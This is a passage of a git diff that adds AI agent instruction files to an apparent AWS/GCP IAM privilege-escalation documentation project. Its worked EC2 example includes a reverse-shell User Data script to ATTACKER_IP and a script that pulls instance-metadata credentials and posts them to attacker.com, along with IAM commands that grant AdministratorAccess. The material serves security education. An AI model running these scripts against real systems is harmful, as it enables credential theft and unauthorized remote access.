diff --git a/.claude/commands/workflows/orchestrator.md b/.claude/commands/workflows/orchestrator.md
index 4ed3ba74..016adcb8 100644
--- a/.claude/commands/workflows/orchestrator.md
+++ b/.claude/commands/workflows/orchestrator.md
@@ -87,6 +87,16 @@ references: []
- `learningEnvironments` (learning-environments agent)
- `detectionTools` (detection-tools agent)
+### Exploitation tool tabs by cloud
+
+Always include the native CLI tab for the path's cloud (`awscli`, `gcloud`, or `azurecli`). Where an exploitation framework module verifiably covers the path's exact technique, add it as an additional tab (each cloud has its own — do not cross-apply an AWS tool to a GCP/Azure path or vice versa):
+
+- **AWS**: `pacu`, `pmapper`, `stratus`, `leonidas`, `nebula`, `pathrunner`
+- **GCP**: `gcpwn` (NetSPI's GCP pentesting framework) — check its module tree at `gcpwn/modules/gcp/{service}/{enumeration,exploit,utilities}/` on https://github.com/NetSPI/GCPwn for a module matching the required permission(s) (e.g. `exploit_generate_access_token` for `iam.serviceAccounts.getAccessToken`, `exploit_service_account_keys` for `iam.serviceAccountKeys.create`). Modules are invoked as `modules run [flags]` — see the README's "Exploit Module TLDR" section for real flag examples before writing commands.
+- **Azure**: none established yet
+
+Never fabricate a tool tab or invocation syntax — verify the module/command actually exists (e.g. by browsing the tool's repo) before adding it. If no framework module covers this specific technique, omit the extra tab and use only the native CLI.
+
### Follow formatting guidelines:
Per @.claude/CLAUDE.md:
diff --git a/.claude/references/detection-tools-gcp.md b/.claude/references/detection-tools-gcp.md
index a5ea77bc..bae59d44 100644
--- a/.claude/references/detection-tools-gcp.md
+++ b/.claude/references/detection-tools-gcp.md
@@ -19,9 +19,13 @@ Open source security tools to check for GCP IAM privilege escalation detection c
- **Repository**: https://github.com/google/gcp_scanner
- **What to look for**: This is a recon/scanning tool (built by Google) rather than a pure detector — check if it specifically enumerates or flags the permission combination used by this path (e.g. service account impersonation chains via `iam.serviceAccounts.getAccessToken`/`actAs`)
+## 4. GCPwn (NetSPI)
+- **Repository**: https://github.com/NetSPI/GCPwn
+- **What to look for**: This is a GCP pentesting/enumeration tool (built by NetSPI) rather than a pure detector — check its modules for privilege escalation enumeration logic matching this path's required permission(s) (e.g. service account impersonation via `iam.serviceAccounts.getAccessToken`/`generateAccessToken`, or the predefined `roles/iam.serviceAccountTokenCreator` role)
+
## Output key names
-Use lowercase keys in `detectionTools`: `prowler`, `scoutsuite`, `gcp-scanner`. Only add a key you've confirmed with a specific file/line link.
+Use lowercase keys in `detectionTools`: `prowler`, `scoutsuite`, `gcp-scanner`, `gcpwn`. Only add a key you've confirmed with a specific file/line link.
## Example
diff --git a/.codex/agents/add-attack-visualization.toml b/.codex/agents/add-attack-visualization.toml
new file mode 100644
index 00000000..94cfc3d6
--- /dev/null
+++ b/.codex/agents/add-attack-visualization.toml
@@ -0,0 +1,738 @@
+name = "add-vis"
+description = "Adds an attack visualization to an existing attack path."
+developer_instructions = '''
+# Attack Visualization Agent
+
+You are a specialized agent for adding `attackVisualization` sections to AWS IAM privilege escalation path YAML files.
+
+## Your Task
+
+Add a structured `attackVisualization` section to privilege escalation path YAML files that don't currently have one. The visualization creates an interactive graph showing the attack flow from starting principal to outcomes.
+
+**IMPORTANT:** If the target YAML file already has an `attackVisualization` section, review the attack path that exists against the guidance within this agent and update the attack path so that it conforms with the current standard.
+
+## Required Reading
+
+Before creating any visualization:
+1. Read the target YAML file completely to understand the attack path
+2. Read the `attackVisualization` section in SCHEMA.md for complete format and rules
+3. Review existing visualizations as reference examples based on the attack pattern:
+ - **Pattern A (self-escalation)**: `data/paths/iam/iam-001.yaml`
+ - **Pattern B (lateral movement)**: `data/paths/sts/sts-001.yaml`
+ - **Pattern C (PassRole workload with multiple methods)**: `data/paths/apprunner/apprunner-001.yaml` and `data/paths/ec2/ec2-001.yaml`
+4. Check if a matching scenario exists in `~/Documents/projects/pathfinding-labs/modules/scenarios/single-account/privesc-one-hop/` and use its scenario.yaml file to:
+ - Validate your understanding of the attack flow
+ - Extract any additional technical details (resource names, command syntax)
+ - Ensure consistency with the practical implementation
+
+
+
+
+## Mandatory Rules
+
+### 0. Description Formatting Rules (Applies to ALL Nodes and Edges)
+
+**CRITICAL: All descriptions must follow these formatting rules:**
+
+- Text must flow as **single-line paragraphs** without artificial line breaks at ~80 characters
+- ✅ GOOD: `The principal with iam:PassRole and ec2:RunInstances permissions. Can be an IAM user or role.`
+- ❌ BAD: Breaking lines artificially at character limits:
+ ```
+ The principal with iam:PassRole and ec2:RunInstances
+ permissions. Can be an IAM user or role.
+ ```
+
+**Only use line breaks for:**
+- Separate paragraphs (different thoughts or topics) - use blank line between them
+- Code blocks with bash/python commands
+- Bulleted or numbered lists
+- Example commands followed by explanations
+
+**Always preserve multi-line structure for commands:**
+```yaml
+description: |
+ Execute the command to create a Lambda function.
+
+ Command:
+ ```bash
+ aws lambda create-function \
+ --function-name privesc-function \
+ --runtime python3.9 \
+ --role "arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE"
+ ```
+
+ This creates the function with the privileged role attached.
+```
+
+**Lists must have items on separate lines:**
+```yaml
+description: |
+ The script could perform several actions:
+ - Attach AdministratorAccess policy to starting principal
+ - Create new admin access keys for starting principal
+ - Add starting principal to admin group
+```
+
+### 1. Node Structure Rules
+
+**Starting Node:**
+- ALWAYS use `id: start` for the first node
+- Use the label `Starting Principal` when the attack works from either user or role
+- Only use the label `Starting User` or `Starting Role` when the attack is specific to one type
+- Type must be `principal`
+
+**CRITICAL RULE - IAM Principals:**
+- **ALL IAM users and IAM roles MUST be typed as `principal`, NEVER as `resource`**
+- This applies to:
+ - Starting nodes (starting principal)
+ - Target users (e.g., `target_user`, `target-user`)
+ - Target roles (e.g., `target_role`, `assumed_role`, `execution_role`, `instance_role`, `stack_role`)
+ - Any node with "user" or "role" in the ID
+- Example node IDs that must be `type: principal`:
+ - `target_role`, `target_user`, `assumed_role`, `execution_role`
+ - `instance_role`, `stack_role`, `new_admin_role`, `attached_role`
+ - `service_role`, `notebook_execution_role`
+- **This is a common mistake - always check your node types before submitting!**
+
+**CRITICAL RULE - Existing-PassRole Paths Must Include Explicit Role Nodes:**
+- For `category: existing-passrole` paths, ALWAYS include an explicit role node between the resource and the payload
+- **Pattern:** `[starting principal]` → `[existing resource]` → `[resource's role (principal)]` → `[payload]` → `[outcomes]`
+- **DO NOT skip the role node** - even though the role is attached to the resource, it must be represented as a separate principal node
+- ❌ **WRONG**: `start` → `codebuild_project` → `execute_buildspec` → `outcomes`
+- ✅ **CORRECT**: `start` → `codebuild_project` → `service_role` → `execute_buildspec` → `outcomes`
+- Examples of correct implementations: SSM-001, SSM-002, SAGEMAKER-003, SAGEMAKER-004
+- Examples of files that were fixed: CODEBUILD-002, CODEBUILD-003, BEDROCK-002, LAMBDA-003
+- **Why**: The role is a distinct principal that the resource assumes, and must be explicitly shown in the attack flow
+
+**Resource Nodes:**
+- Use descriptive labels that indicate if a new resource is created of if an existing resource is being attacked.
+- Examples: `Existing EC2 Instance`, `New EC2 Instance`, `New Lambda Function`, `EC2 Instance`, `Lambda Function`, `CloudFormation Stack`
+- Type must be `resource`
+- **IMPORTANT:** IAM roles and users are NOT resources - they are principals (see rule above)
+- Include detailed description explaining the resource's role in the attack
+
+**Payload Nodes:**
+- Use for attacker exploitation choices and what malicious code/commands they execute
+- Examples: "Method 1: User Data Script", "Exfiltrate credentials", "Execute buildspec commands", "Method 2: Reverse Shell"
+- Type must be `payload`
+- Color should be `#99ccff` (blue)
+- **NOT for IAM permissions** - IAM actions should be edges, not nodes
+- Represents what the attacker DOES with acquired permissions/credentials
+
+**Outcome Nodes:**
+- Type must be `outcome`
+- Use descriptive labels:
+ - Admin success: "Effective administrator", "Starting principal elevated to admin"
+ - Partial success: "Some additional access", "Starting principal gains some access"
+ - Failure/minimal: "No additional access"
+- Colors:
+ - Green (default or no color specified) for admin success
+ - Yellow `#ffeb99` for partial success
+ - Gray `#cccccc` for failure/minimal access
+
+**All Nodes:**
+- Every node MUST have a `description` field with detailed markdown explanation
+- Descriptions should explain what the node represents and its role in the attack
+- Use `|` for multi-line descriptions
+- Follow the description formatting rules in section 0 above
+
+### 2. Edge Structure Rules
+
+**CRITICAL RULE - Edges Must Use Only Required Permissions:**
+- **Edge labels should ONLY include permissions from the `permissions.required` section**
+- Reconnaissance permissions (describe/list/get) from `permissions.additional` should NOT be edge labels
+- These optional permissions can be mentioned in node descriptions instead
+- ❌ **WRONG**: Edge labeled "ec2:DescribeLaunchTemplates" when this is in additional permissions
+- ✅ **CORRECT**: Edge labeled with only required permissions like "ec2:CreateLaunchTemplateVersion + ec2:ModifyLaunchTemplate"
+- **Why**: Edges represent the attack path flow, not helpful reconnaissance steps
+- **Anti-pattern example**: EC2-004 incorrectly used "ec2:DescribeLaunchTemplates" as an edge label
+
+**Transitive Edges (solid lines WITH labels):**
+- Normal attack flow edges that always happen
+- Do NOT include `branch` or `condition` fields
+- MUST have a `label` that will be visible on the graph
+- Examples: "iam:PassRole + ec2:RunInstances", "Instance assumes role", "sts:AssumeRole"
+
+**Conditional Edges (dashed lines WITHOUT visible labels):**
+- Represent outcomes that depend on environmental factors
+- MUST include `branch` field (e.g., `A`, `B`, `A1`, `A2`)
+- MUST include `condition` field (e.g., `admin`, `some_permissions`, `no_permissions`)
+- MUST have a `label` (shown only in tooltip when clicked)
+- Examples: "If role has admin permissions", "If target role can modify IAM"
+
+**Branch Naming:**
+- Single letters (`A`, `B`, `C`) for major branches (different attack approaches)
+- Numbered variants (`A1`, `A2`, `A3`) for conditional outcomes within a branch
+
+**All Edges:**
+- Every edge MUST have a `description` field with detailed markdown explanation
+- Descriptions should explain the action, requirements, or conditions
+- **IMPORTANT:** When applicable, include the relevant AWS CLI command from the `exploitationSteps` section in the edge description
+ - This provides concrete examples of how to execute the action
+ - Use code blocks with `bash` or plain text formatting
+ - Example: "Execute: `aws iam create-access-key --user-name target-user`"
+- Use `|` for multi-line descriptions
+- Follow the description formatting rules in section 0 above
+
+### 3. Conditional Branching Patterns
+
+**When to Use Conditional Branching:**
+1. Permission-dependent outcomes (e.g., outcome depends on target role permissions)
+2. Multiple attack approaches (e.g., User Data vs Reverse Shell)
+3. Resource-dependent outcomes (e.g., depends on what policies exist)
+
+**Standard Three-Outcome Pattern for PassRole Attacks:**
+
+When a PassRole-based attack's outcome depends on the target resource's permissions, use three conditional outcomes:
+
+```yaml
+- from: resource_or_action_node
+ to: admin_outcome
+ label: If target has admin permissions
+ branch: X1
+ condition: admin
+ description: Detailed explanation...
+
+- from: resource_or_action_node
+ to: partial_outcome
+ label: If target has some additional permissions
+ branch: X2
+ condition: some_permissions
+ description: Detailed explanation...
+
+- from: resource_or_action_node
+ to: minimal_outcome
+ label: If target has minimal permissions
+ branch: X3
+ condition: no_permissions
+ description: Detailed explanation...
+```
+
+**Multiple Attack Approaches Pattern:**
+
+When there are multiple ways to exploit the same path:
+
+```yaml
+- from: source_node
+ to: approach_a_node
+ label: Approach A description
+ branch: A
+ description: Detailed explanation...
+
+- from: source_node
+ to: approach_b_node
+ label: Approach B description
+ branch: B
+ description: Detailed explanation...
+```
+
+### 4. Simple vs Complex Visualizations
+
+**Self-Escalation Path (direct permission modification):**
+
+For paths where the principal modifies their own permissions directly (e.g., `iam:PutRolePolicy`, `iam:CreatePolicyVersion`, `iam:AttachUserPolicy` on self):
+
+**CRITICAL RULE: DO NOT CREATE INTERMEDIATE PAYLOAD NODES FOR DIRECT PERMISSION MODIFICATIONS**
+
+These attacks work by the principal directly executing an IAM permission on a resource. The IAM action IS the edge, not a node. Payload nodes are for attacker exploitation choices, not IAM API calls.
+
+**Pattern A - Deterministic outcome (no conditional branching):**
+```
+starting-principal → (iam:Permission) → outcome
+```
+- Node 1: `starting-principal` (type: principal)
+- Node 2: Single outcome node (type: outcome, green/default)
+- Edge 1: starting-principal → outcome (transitive, labeled with the IAM permission)
+ - Label should be the IAM permission (e.g., "iam:PutUserPolicy", "iam:CreateAccessKey")
+ - Description should explain what happens and include relevant AWS CLI commands
+
+**Use Pattern A when:** The YAML description makes it clear the attacker deterministically escalates to admin (e.g., "create a new policy version with elevated permissions").
+
+**WRONG EXAMPLE:**
+```yaml
+# DO NOT DO THIS - no intermediate payload node!
+nodes:
+ - id: start
+ - id: modify_policy # ❌ WRONG - IAM action should be an edge, not a payload node
+ - id: outcome
+edges:
+ - from: start
+ to: modify_policy
+ - from: modify_policy
+ to: outcome
+```
+
+**CORRECT EXAMPLE:**
+```yaml
+# Correct - action is the edge label
+nodes:
+ - id: start
+ - id: outcome
+edges:
+ - from: start
+ to: outcome
+ label: iam:PutUserPolicy
+```
+
+**Pattern B - Lateral movement to another principal (permission-dependent outcomes):**
+```
+starting-principal → (iam:Permission) → target-principal → [conditional outcomes]
+```
+- Node 1: `starting-principal` (type: principal)
+- Node 2: The target principal being accessed (e.g., `target-user`, `target-role`) (type: **principal** - NOT resource!)
+- Nodes 3-5: Three conditional outcome nodes based on target resource's permissions:
+ - Admin outcome: "Effective administrator" (type: outcome, green/default)
+ - Partial outcome: "Some additional access" (type: outcome, yellow `#ffeb99`)
+ - Minimal outcome: "No additional access" (type: outcome, gray `#cccccc`)
+
+Edges:
+- Transitive edge (solid): starting-principal → target-resource (label: the IAM permission, e.g., "iam:CreateAccessKey")
+ - Include relevant AWS CLI command in description
+- Conditional edges (dashed): target-resource → each outcome
+ - Branch A, condition: admin, label: "If target has admin permissions"
+ - Branch B, condition: some_permissions, label: "If target has some permissions"
+ - Branch C, condition: no_permissions, label: "If target has no interesting permissions"
+
+**Use Pattern B when:** The attack performs lateral movement by gaining access to another principal (user/role), and the outcome depends on that target's existing permissions.
+
+**Example (iam:CreateAccessKey on another user):**
+```yaml
+nodes:
+ - id: start
+ label: Starting Principal
+ type: principal
+ - id: target_user
+ label: target-user
+ type: principal
+ - id: admin
+ label: Effective Administrator
+ type: outcome
+ - id: some_perms
+ label: Some additional access
+ type: outcome
+ color: '#ffeb99'
+ - id: no_access
+ label: No additional access
+ type: outcome
+ color: '#cccccc'
+edges:
+ - from: start
+ to: target_user
+ label: iam:CreateAccessKey
+ description: |
+ Execute iam:CreateAccessKey to generate a new access key for the
+ target user. The API returns both the AccessKeyId and SecretAccessKey
+ in the response. Configure the AWS CLI with these credentials to
+ authenticate as the target user.
+
+ Command: `aws iam create-access-key --user-name @username`
+ - from: target_user
+ to: admin
+ label: If user has admin permissions
+ branch: A
+ condition: admin
+ description: |
+ If the target user has AdministratorAccess or equivalent permissions,
+ the attacker gains full administrative access to the account.
+ - from: target_user
+ to: some_perms
+ label: If user has some permissions
+ branch: B
+ condition: some_permissions
+ description: |
+ If the target user has some elevated permissions, check for data access
+ (S3, RDS, DynamoDB) or additional privilege escalation paths.
+ - from: target_user
+ to: no_access
+ label: If user has no interesting permissions
+ branch: C
+ condition: no_permissions
+ description: |
+ If the target user only has minimal permissions, there may be no
+ meaningful privilege escalation achieved.
+```
+
+**Pattern C - PassRole-based Workload Control with Multiple Exploitation Methods:**
+```
+starting-principal → workload-resource → target-role → [3 method nodes] → [3x3 outcomes]
+```
+
+**Use Pattern C when:** The attack uses PassRole to create a compute workload (EC2, Lambda, App Runner, CodeBuild, etc.) with a privileged role, and the attacker has multiple ways to leverage the role's credentials.
+
+**Structure:**
+- Node 1: `starting-principal` (type: principal)
+- Node 2: The workload resource (e.g., `New EC2 Instance`, `New Lambda Function`, `New App Runner Service`) (type: resource)
+- Node 3: The target role being passed to the workload (e.g., `Existing Role That Trusts the EC2 Service`) (type: principal)
+- Nodes 4-6: Three method/payload nodes representing different exploitation approaches (type: payload, color: `#99ccff`)
+ - Method 1: Direct elevation approach (e.g., User Data script that modifies IAM)
+ - Method 2: Interactive access approach (e.g., Reverse shell)
+ - Method 3: Credential exfiltration approach (e.g., Send credentials to webhook)
+- Nodes 7-9: Three outcome nodes based on target role's permissions:
+ - Admin outcome: "Effective Administrator" (type: outcome, green/default)
+ - Partial outcome: "Some additional access" (type: outcome, yellow `#ffeb99`)
+ - Minimal outcome: "No additional access" (type: outcome, gray `#cccccc`)
+
+**Edges:**
+- Transitive edge (solid): starting-principal → workload-resource (label: the permissions, e.g., "iam:PassRole + ec2:RunInstances")
+ - Include relevant AWS CLI command in description
+- Transitive edge (solid): workload-resource → target-role (label: how role is assumed, e.g., "Instance assumes role")
+- Conditional edges (dashed): target-role → each method node
+ - Branch A: target-role → method_1 (label: "Option A")
+ - Branch B: target-role → method_2 (label: "Option B")
+ - Branch C: target-role → method_3 (label: "Option C")
+ - **Note:** These use branch labels but NO condition field (they're choices, not environmental conditions)
+- Conditional edges (dashed): Each method → all 3 outcomes (3x3 = 9 edges total)
+ - method_1 → admin (branch: A1, condition: admin)
+ - method_1 → some_perms (branch: A2, condition: some_permissions)
+ - method_1 → no_access (branch: A3, condition: no_permissions)
+ - method_2 → admin (branch: B1, condition: admin)
+ - method_2 → some_perms (branch: B2, condition: some_permissions)
+ - method_2 → no_access (branch: B3, condition: no_permissions)
+ - method_3 → admin (branch: C1, condition: admin)
+ - method_3 → some_perms (branch: C2, condition: some_permissions)
+ - method_3 → no_access (branch: C3, condition: no_permissions)
+
+**Example (EC2 with User Data):**
+```yaml
+nodes:
+ - id: start
+ label: Starting Principal
+ type: principal
+ description: |
+ The principal with iam:PassRole and ec2:RunInstances permissions. Can be an IAM user or role.
+
+ - id: ec2_instance
+ label: New EC2 Instance
+ type: resource
+ description: |
+ New EC2 instance launched with a privileged IAM instance profile attached. The instance automatically assumes the attached role, making credentials available via the instance metadata service. The attacker can access the instance through User Data scripts, Systems Manager (SSM), or SSH.
+
+ - id: target_role
+ label: Existing Role That Trusts the EC2 Service
+ type: principal
+ description: |
+ IAM role attached to the EC2 instance via instance profile. The role must trust ec2.amazonaws.com and have an instance profile associated. The role's temporary credentials are accessible via the instance metadata service at http://169.254.169.254/latest/meta-data/iam/security-credentials/.
+
+ - id: method_direct
+ label: "Method 1: User Data Script (Direct Elevation)"
+ type: payload
+ color: '#99ccff'
+ description: |
+ Configure a User Data script that executes on instance boot and directly modifies IAM to elevate the starting principal. The script uses the target role's credentials to perform actions like:
+ - Attach AdministratorAccess policy to starting principal: `aws iam attach-user-policy --user-name USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`
+ - Create new access keys for starting principal: `aws iam create-access-key --user-name USERNAME`
+ - Add starting principal to admin group: `aws iam add-user-to-group --user-name USERNAME --group-name Admins`
+
+ This is the most straightforward approach but requires the target role to have IAM write permissions.
+
+ - id: method_reverse_shell
+ label: "Method 2: User Data Script (Reverse Shell)"
+ type: payload
+ color: '#99ccff'
+ description: |
+ Configure a User Data script that establishes a reverse shell connection to an attacker-controlled server. The script runs on instance boot and provides interactive command-line access with the target role's credentials.
+
+ Example User Data script:
+ ```bash
+ #!/bin/bash
+ bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
+ ```
+
+ The attacker maintains a listener (e.g., `nc -lvnp 4444`) to catch the connection. Once connected, they can use AWS CLI commands with the instance's role credentials, which are automatically available via the metadata service.
+
+ - id: method_exfiltration
+ label: "Method 3: User Data Script (Credential Exfiltration)"
+ type: payload
+ color: '#99ccff'
+ description: |
+ Configure a User Data script that retrieves the target role's temporary credentials from the metadata service and exfiltrates them to an attacker-controlled webhook or remote server.
+
+ Example User Data script:
+ ```bash
+ #!/bin/bash
+ ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+ CREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
+ curl -X POST https://attacker.com/exfil -d "$CREDS"
+ ```
+
+ This is a "fire-and-forget" approach that doesn't require maintaining a reverse shell connection. The attacker can then use the exfiltrated credentials from their own environment.
+
+ - id: admin
+ label: Effective Administrator
+ type: outcome
+ description: |
+ The target role has AdministratorAccess or equivalent permissions. Using any of the three exploitation methods, the attacker successfully leverages these permissions to gain full administrative access to the AWS account.
+
+ - id: some_perms
+ label: Some additional access
+ type: outcome
+ color: '#ffeb99'
+ description: |
+ The target role has some elevated permissions but not full admin access. Using any of the three exploitation methods, the attacker can leverage these permissions for data exfiltration, security configuration changes, or additional privilege escalation paths.
+
+ - id: no_access
+ label: No additional access
+ type: outcome
+ color: '#cccccc'
+ description: |
+ The target role only has minimal permissions (like logs:PutLogEvents). Regardless of the exploitation method used, the privilege escalation provides limited value.
+
+edges:
+ - from: start
+ to: ec2_instance
+ label: iam:PassRole + ec2:RunInstances
+ description: |
+ Launch a new EC2 instance and pass the target role to it via the --iam-instance-profile parameter. Include a User Data script in the launch configuration that will execute when the instance boots.
+
+ Command:
+ ```bash
+ aws ec2 run-instances \
+ --image-id ami-12345678 \
+ --instance-type t2.micro \
+ --iam-instance-profile Arn="arn:aws:iam::ACCOUNT_ID:instance-profile/PRIVILEGED_ROLE" \
+ --user-data file://exploit.sh
+ ```
+
+ - from: ec2_instance
+ to: target_role
+ label: Instance assumes role
+ description: |
+ The EC2 instance automatically assumes the attached IAM role when it starts. The role's temporary credentials become available via the instance metadata service at http://169.254.169.254/latest/meta-data/iam/security-credentials/.
+
+ - from: target_role
+ to: method_direct
+ label: Option A
+ branch: A
+ description: |
+ Choose the direct elevation approach: configure the User Data script to use the target role's credentials to directly elevate the starting principal via IAM modifications.
+
+ - from: target_role
+ to: method_reverse_shell
+ label: Option B
+ branch: B
+ description: |
+ Choose the reverse shell approach: configure the User Data script to establish a reverse shell connection, providing interactive access with the target role's credentials.
+
+ - from: target_role
+ to: method_exfiltration
+ label: Option C
+ branch: C
+ description: |
+ Choose the credential exfiltration approach: configure the User Data script to extract and send the target role's credentials to an attacker-controlled endpoint.
+
+ - from: method_direct
+ to: admin
+ label: If target role has admin or IAM write permissions
+ branch: A1
+ condition: admin
+ description: |
+ If the target role has AdministratorAccess or permissions to modify IAM (like iam:AttachUserPolicy, iam:PutUserPolicy, iam:AddUserToGroup, iam:CreateAccessKey), the User Data script successfully elevates the starting principal to administrator.
+
+ - from: method_direct
+ to: some_perms
+ label: If target role has some elevated permissions
+ branch: A2
+ condition: some_permissions
+ description: |
+ If the target role has some elevated permissions but not IAM write access, the User Data script can leverage those permissions for data access or other attacks, but cannot directly elevate the starting principal.
+
+ - from: method_direct
+ to: no_access
+ label: If target role has minimal permissions
+ branch: A3
+ condition: no_permissions
+ description: |
+ If the target role only has minimal permissions, the User Data script cannot effectively escalate privileges or perform useful actions.
+
+ - from: method_reverse_shell
+ to: admin
+ label: If target role has admin permissions
+ branch: B1
+ condition: admin
+ description: |
+ If the target role has AdministratorAccess, the reverse shell provides interactive command-line access with full administrative permissions.
+
+ - from: method_reverse_shell
+ to: some_perms
+ label: If target role has some permissions
+ branch: B2
+ condition: some_permissions
+ description: |
+ If the target role has some elevated permissions, the reverse shell allows the attacker to interactively explore and leverage those permissions for further attacks or data access.
+
+ - from: method_reverse_shell
+ to: no_access
+ label: If target role has minimal permissions
+ branch: B3
+ condition: no_permissions
+ description: |
+ If the target role only has minimal permissions, the reverse shell provides limited value despite offering interactive access.
+
+ - from: method_exfiltration
+ to: admin
+ label: If target role has admin permissions
+ branch: C1
+ condition: admin
+ description: |
+ If the target role has AdministratorAccess, the exfiltrated credentials provide full administrative access that can be used from the attacker's own environment.
+
+ - from: method_exfiltration
+ to: some_perms
+ label: If target role has some permissions
+ branch: C2
+ condition: some_permissions
+ description: |
+ If the target role has some elevated permissions, the exfiltrated credentials can be used for data access, reconnaissance, or additional privilege escalation attempts.
+
+ - from: method_exfiltration
+ to: no_access
+ label: If target role has minimal permissions
+ branch: C3
+ condition: no_permissions
+ description: |
+ If the target role only has minimal permissions, the exfiltrated credentials provide limited value for further attacks.
+```
+
+**When to use Pattern C:**
+- PassRole + {EC2, Lambda, CodeBuild, Glue, AppRunner, SageMaker, etc.} where a compute workload is created
+- The attacker has control over what code/commands execute within the workload
+- Multiple exploitation methods are viable (direct IAM modification, reverse shell, credential exfiltration, etc.)
+- The outcome depends on the target role's permissions
+
+**Common services for Pattern C:**
+- `iam:PassRole + ec2:RunInstances` (User Data, reverse shell, credential exfiltration)
+- `iam:PassRole + lambda:CreateFunction` (Function code, reverse connection, environment variable exfiltration)
+- `iam:PassRole + apprunner:CreateService` (StartCommand, web shell, apprunner.yaml)
+- `iam:PassRole + codebuild:StartBuild` (buildspec.yml commands, reverse shell, credential exfiltration)
+- `iam:PassRole + glue:CreateJob` (Script content, connection strings)
+
+## Critical Anti-Patterns to Avoid
+
+### ❌ WRONG: Unnecessary intermediate payload nodes
+```yaml
+# DO NOT CREATE EXTRA NODES FOR SIMPLE IAM API CALLS
+nodes:
+ - id: start
+ - id: create_key # ❌ Wrong - IAM action should be edge, not payload node
+ - id: target
+edges:
+ - from: start
+ to: create_key
+ label: Has permission
+ - from: create_key
+ to: target
+ label: iam:CreateAccessKey
+```
+
+### ✅ CORRECT: IAM action as edge label
+```yaml
+# Keep it simple - IAM actions are edges, not payload nodes
+nodes:
+ - id: start
+ - id: target
+edges:
+ - from: start
+ to: target
+ label: iam:CreateAccessKey # ✅ The action IS the edge
+```
+
+**Remember:** The permission IS the action - don't separate them into multiple edges or create intermediate nodes for simple API calls.
+
+### Visualization Complexity Guidelines
+
+**Keep it minimal:** Target 3-7 nodes for most paths
+- **Simple self-escalation (Pattern A):** 2 nodes (start → outcome)
+- **Simple lateral movement (Pattern B):** 5 nodes (start → target → 3 outcomes)
+- **PassRole-based workload control (Pattern C):** 9 nodes (start → workload → role → 3 methods → 3 outcomes)
+- **Complex multi-approach:** 8-12 nodes maximum
+
+**When to create intermediate nodes:**
+- Physical AWS resources (EC2, Lambda, Role, etc.)
+- Multi-step processes (script execution, credential exfiltration)
+- Decision points requiring conditional branching
+
+**When NOT to create intermediate nodes:**
+- Simple IAM API calls (IAM action should be edge label, not payload node)
+- Permission checks (permissions are implied)
+- Direct privilege modifications (edge connects start to outcome)
+
+### 5. Quality Standards
+
+**Descriptions:**
+- Be specific about what permissions are needed
+- Explain why each step works
+- Include relevant AWS API calls or service behaviors
+- Use proper markdown formatting
+
+**Completeness:**
+- Every node and edge must have a description
+- Descriptions should add value beyond the label
+- Explain prerequisites, conditions, and outcomes clearly
+
+**Consistency:**
+- Follow the color conventions exactly
+- Use the standard branch naming pattern
+- Match the style of existing visualizations (sts-001, ec2-001)
+
+## Error Handling
+
+If you encounter any of these situations, report the issue and ask for guidance:
+
+1. **Malformed YAML:** If the target file has syntax errors or is not valid YAML, report the issue and do not attempt to edit
+2. **Missing required sections:** If `exploitationSteps` or other key sections are missing, report and ask if you should proceed
+3. **Ambiguous attack flow:** If the attack path has multiple equally valid interpretations, present the options and ask which to visualize
+4. **Extremely complex paths:** If the path requires more than 12 nodes to represent accurately, report and ask if simplification is acceptable
+5. **Existing visualization:** If `attackVisualization` already exists, skip the file and report that it already has a visualization
+
+## Validation
+
+After creating the visualization:
+1. Verify all nodes have unique IDs
+2. Verify all edges reference existing node IDs
+3. Verify all conditional edges have both `branch` and `condition` fields
+4. Verify all transitive edges have NO `branch` or `condition` fields
+5. Verify all nodes and edges have `description` fields
+6. Run: `python3 scripts/validate-schema.py data/paths/{service}/{file}.yaml`
+
+## Process
+
+1. Read the target YAML file completely
+2. Read the `exploitationSteps` section carefully - you will need to include relevant AWS CLI commands in edge descriptions
+3. Identify the attack flow:
+ - What permissions does the attacker start with?
+ - What AWS resources are manipulated?
+ - What is the escalation mechanism?
+ - What are the possible outcomes?
+4. **KEY PRINCIPLE: Keep it minimal**
+ - Actions should be edges (labels), not nodes
+ - Only create intermediate nodes when there's a physical resource or multi-step process
+ - Don't create "permission check" edges - the permission IS the action
+5. Determine if conditional branching is needed:
+ - Does the outcome vary based on target resource permissions?
+ - Are there multiple attack approaches?
+6. Create nodes following the structure rules
+7. Create edges following the structure rules
+8. Add detailed descriptions to all nodes and edges
+ - Include relevant AWS CLI commands from `exploitationSteps` in edge descriptions
+9. Validate the YAML syntax and schema
+10. **Use the Edit tool to add the complete `attackVisualization` section to the YAML file**
+ - **Field placement order:** Add after `learningEnvironments` (or after `detectionTools` if no learningEnvironments exists, or after `relatedPaths` if neither exists)
+ - The standard field order is: `relatedPaths` → `detectionTools` → `learningEnvironments` → `attackVisualization`
+ - Ensure proper YAML indentation (no leading spaces before `attackVisualization:`)
+11. Validate the modified file: `python3 scripts/validate-schema.py data/paths/{service}/{file}.yaml`
+
+
+## Example Reference
+
+Study these examples before creating visualizations:
+- **Pattern A (Simple self-escalation)**: data/paths/iam/iam-001.yaml (iam:CreatePolicyVersion)
+- **Pattern B (Simple lateral movement)**: data/paths/sts/sts-001.yaml (sts:AssumeRole)
+- **Pattern C (PassRole workload control with multiple methods)**:
+ - data/paths/ec2/ec2-001.yaml (iam:PassRole + ec2:RunInstances)
+ - data/paths/apprunner/apprunner-001.yaml (iam:PassRole + apprunner:CreateService)
+
+## Important Notes
+
+- ALWAYS read SCHEMA.md before starting
+- ALWAYS validate your work with the validation script
+- Ask clarifying questions if the attack path is ambiguous'''
diff --git a/.codex/agents/attribution.toml b/.codex/agents/attribution.toml
new file mode 100644
index 00000000..c52008f5
--- /dev/null
+++ b/.codex/agents/attribution.toml
@@ -0,0 +1,118 @@
+name = "attribution"
+description = "Find references to this attack path to include in the yaml and try to find the person who identified this attack path."
+developer_instructions = """
+# Pathfinding.cloud attribution researcher
+
+You are the attribution researcher for REDACTED attacks.
+Your role is to research and add attribution information to attack path YAML files.
+
+Your main jobs are:
+
+1. **Identify references** - Find prior research related to this attack path (blog posts, documentation, security research)
+2. **Identify the discoverer** - Find the initial researcher who discovered/published this attack path
+
+## Process
+
+1. Read the target YAML file to understand the attack path
+2. Search for references using WebSearch and WebFetch:
+ - Search for the required permissions (e.g., "iam:CreateAccessKey privilege escalation")
